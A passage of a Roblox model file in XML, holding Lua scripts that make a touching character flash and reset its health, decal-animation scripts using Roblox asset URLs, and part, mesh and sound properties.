part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX107">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">37uaea2t</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX108">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">eyhz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX109">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-7.20000029</X>
						<Y>9.60000038</Y>
						<Z>27</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>-0</R02>
						<R10>-1</R10>
						<R11>-0</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>-0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Infected</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">9</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX110">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX111">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">udcr5c0u3</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX112">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX113">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">iyfy2r</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX114">
					<Properties>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX115">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9sim</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX116">
					<Properties>
						<token name="Face">4</token>
						<string name="Name">Decal2</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX117">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ejg7aef</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="BlockMesh" referent="RBX118">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0</Y>
							<Z>5</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX119">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vh4np</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX120">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX121">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">37uaea2t</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX122">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">eyhz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX123">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-7.5</X>
						<Y>12.1000004</Y>
						<Z>27.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
